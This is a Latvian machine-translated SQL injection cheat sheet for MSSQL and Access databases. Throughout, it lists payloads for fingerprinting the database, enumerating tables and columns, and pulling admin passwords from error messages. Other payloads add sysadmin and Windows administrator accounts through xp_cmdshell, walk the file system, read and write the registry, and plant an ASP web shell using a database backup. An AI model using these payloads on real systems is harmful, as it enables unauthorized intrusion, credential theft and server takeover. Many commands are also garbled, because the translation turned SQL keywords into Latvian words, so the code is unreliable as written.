1. Nosakiet, vai ir veikta injekcija ; un 1=1 ; un 1=2
2. Iepriekšējs spriedums, vai tas ir mssql ; un lietotājs>0
3. Spriediet par datu bāzes sistēmu ; un (atlasiet count(*) no sysobjects)>0 mssql ; un (atlasiet count(*) no msysobjects)>0 access
4. Injekcijas parametrs ir rakstzīme 'un [vaicājuma kritēriji] un ''='
5. Meklēšanas laikā nav filtrētu parametru 'un [vaicājuma kritēriji] un '%25'='
6. Uzminiet tabulas nosaukumu ; un (atlasiet Count(*) no [tabulas nosaukums])>0
7. Uzminiet lauku ; un (tabulas nosaukumā atlasiet Skaits(lauka nosaukums))>0
8. Uzminiet ieraksta garumu laukā ; un (atlasiet augšējo 1 objektīvu (lauka nosaukums) no tabulas nosaukuma)>0
9. (1) Uzminiet lauka ASCII vērtību (piekļuve) ; un (atlasiet top 1 asc(mid(lauka nosaukums, 1,1)) no tabulas nosaukuma)>0
(2) Uzminiet lauka ASCII vērtību (mssql) ; un (atlasiet top 1 Unicode(apakšvirkne(lauka nosaukums,1,1)) no tabulas nosaukuma)>0
10. Testa atļauju struktūra (mssql) ; un 1=(atlasiet IS_SRVROLEMEMBER('sysadmin')); -- ; un 1=(atlasiet IS_SRVROLEMEMBER('serveradmin')); -- ; un 1=(atlasiet IS_SRVROLEMEMBER('setupadmin')); -- ; un 1=(atlasiet IS_SRVROLEMEMBER('securityadmin')); -- ; un 1=(atlasiet IS_SRVROLEMEMBER('diskadmin')); -- ; un 1=(atlasiet IS_SRVROLEMEMBER('bulkadmin')); -- ; un 1=(atlasiet IS_MEMBER('db_owner')); --
11. Pievienojiet kontu mssql un sistēmai ; exec master.dbo.sp_addlogin lietotājvārds; -- ; exec master.dbo.sp_password null,lietotājvārds,parole; -- ; exec master.dbo.sp_addsrvrolemember sysadmin lietotājvārds; -- ; exec master.dbo.xp_cmdshell 'neto lietotāja lietotājvārds parole /darbstacijas:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; exec master.dbo.xp_cmdshell 'neto lietotāja lietotājvārda parole /add'; -- ; exec master.dbo.xp_cmdshell 'neto vietējās grupas administratoru lietotājvārds /add'; --
12. (1) Šķērsojiet katalogu ; izveidot tabulas dirs(ceļi varchar(100), id int) ; Ievietojiet dirs exec master.dbo.xp_dirtree 'c:\' ; un (atlasiet 1 populārākos ceļus no dirs)>0 ; un (izvēlieties 1 labākos ceļus no dirs, kur ceļi nav ('ceļi, kas iegūti no iepriekšējā soļa'))>)
(2) Šķērsojiet katalogu ; izveidot tabulu temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; ievietojiet temp exec master.dbo.xp_availablemedia; -- Iegūstiet visus pašreizējos diskus ; ievietot temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Iegūt apakšdirektoriju sarakstu ; ievietot temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Iegūstiet direktoriju koka struktūru visiem apakšdirektorijiem ; ievietot temp(id) exec master.dbo.xp_cmdshell 'ierakstiet c:\web\index.asp'; -- Skatīt faila saturu
13. Saglabātās procedūras mssql xp_regenumvalues reģistra saknes atslēga, bērna atslēga ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' atgriež visas atslēgas vērtības vairākās ierakstu kopās xp_regread Saknes atslēga, bērna atslēga, atslēgas-vērtības nosaukums ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' atgriež kopas atslēgas vērtību xp_regwrite Saknes atslēga, bērnatslēga, vērtības nosaukums, vērtības tips, vērtība Ir divu veidu vērtību tipi: REG_SZ REG_DWORD rakstzīmju tipiem un veseliem skaitļiem ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' reģistram xp_regdeletevalue Saknes atslēga, apakšatslēga, vērtības nosaukums exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName', lai noņemtu vērtību xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey', lai noņemtu atslēgu, ieskaitot visas šīs atslēgas vērtības
14. MSSQL dublēšana izveido tīmekļa čaulu Izmantojiet modeli izveidot tabulu cmd(str attēls); ievietojiet cmd(str) vērtības ('<% Dim oScript %>'); dublēt datu bāzes modeli uz disk='c:\l.asp';
15. MSSQL iebūvētās funkcijas ; un (atlasiet @@version)>0, lai iegūtu Windows versijas numuru ; un user_name()='dbo', lai noteiktu, vai pašreizējās sistēmas pievienotais lietotājs ir SA ; un (atlasiet user_name())>0 Eksplodēja pašreizējās sistēmas pievienotos lietotājus ; un (atlasiet db_name())>0, lai iegūtu pašreiz pievienoto datu bāzi
MSSQL datu bāzes pārkāpums ar roku anotācijām
1. Atklājiet pašreizējo tabulas nosaukumu un kolonnas nosaukumu Iesniedziet "'having 1=1--" pēc injekcijas punkta, lai saņemtu atgriešanās ziņojumu angļu valodā, kurā jūs varat redzēt tabulas nosaukumu un kolonnas nosaukumu. Iesniedziet "grupa pēc saraksta nosaukuma, kam ir 1=1--", lai iegūtu citu kolonnas nosaukumu; Turpiniet iesniegt "grupēt pēc atklātās tabulas nosaukuma saraksta, atklātās tabulas nosaukuma. Otrās kolonnas nosaukumam ir 1=1--", kas dod citu kolonnas nosaukumu. Apņemieties tādā pašā veidā, līdz lapa vairs neatgriež kļūdu ziņojumus, lai iegūtu visus kolonnu nosaukumus. Sīkumi: vardarbīgi tabulu nosaukumi un kolonnu nosaukumi tiek izmantoti kombinācijā ar GROUP BY SQL priekšrakstos, lai veiktu nosacītus spriedumus. Tā kā priekšraksts ir nepilnīgs, datu bāze atgriež kļūdas ziņojumu un parāda tabulas nosaukumu un kolonnas nosaukumu. Pamatmetode var atklāt tikai pašreizējo tabulu datu bāzē, un, ja tabulā ir daudz kolonnu nosaukumu, ir ļoti grūti izmantot pamatmetodi.
Pirmkārt. Tiek parādīti visi datu bāzu nosaukumi Izmantojiet priekšrakstu "un 0<>(select count(*) from master.dbo.sysdatabases, kur name>1 un dbid=[N])", lai datu bāzē atklātu patvaļīgus tabulu nosaukumus un kolonnu nosaukumus, kur "[N]" apzīmē N-to tabulu datu bāzē. 1. solis: Pēc punkta ievadīšanas iesniedziet šādu paziņojumu: "un 0<>(atlasiet count(*) no master.dbo.sysdatabases, kur name>1 un dbid=12)", jo dbid vērtība ir no 1 līdz 5, ko izmanto sistēma, tāpēc lietotājam tas ir jāizveido no 6, un mēs iesniedzām nosaukumu>1, lauks nosaukums ir rakstzīmju tipa lauks, un skaitļu salīdzinājums būs nepareizs, tāpēc pēc iesniegšanas IE atgriezīs šādu informāciju: "Microsoft OLE DB nodrošinātājs ODBC draiveru kļūdai ?e07' [Microsoft][ODBC SQL Server draiveris][SQL Server] konvertē nvarchar vērtību 'Northwind' uz datu tipu int kolonna. Tādā veidā tiek atklāta nosaukuma lauka vērtība, tas ir, mēs iegūstam datu bāzes nosaukumu "Northwind". Mainot "dbid" vērtību, var iegūt visus datu bāzes nosaukumus.
un 0<>(select count(*) no master.dbo.sysdatabases, kur name>1 un dbid=[N])-- Modificējiet N, lai eksplodētu visus datu bāzes nosaukumus no 6
Otrkārt. Visu tabulu nosaukumu atklāšana norādītajā datu bāzē Pēc datu bāzes nosaukuma iegūšanas tagad jums ir jāiegūst visi tabulu nosaukumi bibliotēkā, iesniedziet šādu paziņojumu: "un 0<>(atlasiet top 1 nosaukumu no master.dbo.sysobjects, kur xtype='U')", šeit ir tabulas nosaukums galvenajā datu bāzē, un vaicājuma SQL paziņojums atgriež nosaukuma vērtību un pēc tam salīdziniet to ar skaitli 0, lai nosaukuma vērtība tiktu atklāta. Pēc iesniegšanas tabulas nosaukums bija "spt_monito" tika atklāts. Tad tiek atklātas pārējās tabulas, un tiek iesniegts šāds paziņojums: "un 0<>(atlasiet top 1 nosaukumu no master.dbo.sysobjects, kur xtype='U' un name not in('spt_monito'))", un tiek parādīta cita tabula ar nosaukumu "cd512". Fails "un nosaukums nav in(' spt_monito',' CD512',..))" Jūs varat uzzināt visus tabulu nosaukumus.
un 0<>(atlasiet 1. augšējo nosaukumu no [norādīt datu bāzes nosaukumu].dbo.sysobjects, kur xtype='U')-- un 0<>(atlasiet 1. augšējo nosaukumu no [norādīt datu bāzes nosaukumu].dbo.sysobjects, kur xtype='U' un nosaukums nav in('[Eksplodētās tabulas nosaukums]'))-- un 0<>(atlasiet 1. augšējo nosaukumu no [norādīt datu bāzes nosaukumu].dbo.sysobjects, kur xtype='U' un nosaukums nav in('[Sprādzienbīstams tabulas nosaukums]', '[Eksplodēts otrās tabulas nosaukums]')))--
4. Atklājiet visus kolonnu nosaukumus norādītajā tabulā un 0<>(atlasiet count(*) no bbs.dbo.sysobjects, kur xtype='U' un name='admin' un uid>(str(id))) Konvertējiet ID vērtību rakstzīmes tipā un pēc tam salīdziniet to ar veselu skaitli. ID numurs ir izslēgts. Vērtība ir: 949578421 name='tabulas nosaukums'
un 0<>(atlasiet 1 populārāko nosaukumu no wutong.dbo.syscolumns, kur id=949578421)-- tiek parādīts lauka nosaukums administratora tabulā
Atkārtoti iesniegt un 0<>(atlasiet top 1 vārdu no wutong.dbo.syscolumns, kur id=949578421 un nosaukums nav in('adduser')))-- Fails "un nosaukums nav in(' spt_monito',' CD512',..))" Visus lauku nosaukumus varat atrast administratora tabulā.
un 0<>(select count(*) no [norādīt datu bāzes nosaukumu].dbo.sysobjects, kur xtype='U' un name='[Eksplodējamā lauka tabulas nosaukums]' un uid>(str(id)))--Eksplodējamā lauka tabulas nosaukuma ID vērtība
un 0<>(atlasiet 1. augšējo nosaukumu no [norādīt datu bāzes nosaukumu].dbo.syscolumns, kur id=eksplodētā id vērtība)-- lauka nosaukums izsprāgstošās id vērtības tabulā
un 0<>(atlasiet 1. augšējo nosaukumu no [norādīt datu bāzes nosaukumu].dbo.syscolumns, kur id=Sprādzienbīstama id vērtība un nosaukums nav in('[Eksplodēts lauka nosaukums]')))--
5. Izlasiet datus norādītajā tabulā
un 0<(atlasiet A_ID no wutong.dbo.admin, kur A_UserID>1) - saturs, kas salauza A_PWD
un 0<(atlasiet [lauks, kas pastāv] no [norādīt datu bāzes nosaukumu].dbo.[vaicājuma tabulas nosaukums], kur [lauka nosaukums, lai eksplodētu saturu]>1)--
un 0<(atlasiet A_ID no wutong.dbo.admin, kur A_PWD>1 un A_UserID='admin')- Administratora parole ir atklāta
un 0<(Atlasiet Top 1 A_UserID FROM admin, kur A_ID<>1) - id<>1 administratora vārds (fuhao)
un 0<(Atlasiet Top 1 A_UserID FROM admin, kur A_ID <>1 un A_UserID <> 'fuhao')-- Otrā administratora vārds <> nav vienāds ar (tuiguang)
un 0<(Atlasiet Top 1 A_UserID FROM admin, kur A_ID <>1 un A_UserID <> 'fuhao'un A_UserID <> 'tuiguang')--
Pēc datu bāzes tabulas nosaukuma un kolonnas nosaukuma uzzināšanas varat izmantot "vaicājuma paziņojumu", lai lasītu jebkuru informāciju datu bāzē. Piemēram, ja vēlaties lasīt N-tos datus tabulas kolonnā, varat iesniegt paziņojumu: "un (atlasiet 1. augšējo kolonnas nosaukumu FROM tabulas nosaukums, kur id=[N])>1" ([N] apzīmē kolonnas N-tos datus), un vēlamos datus varat uzzināt no IE atgrieztās informācijas.
|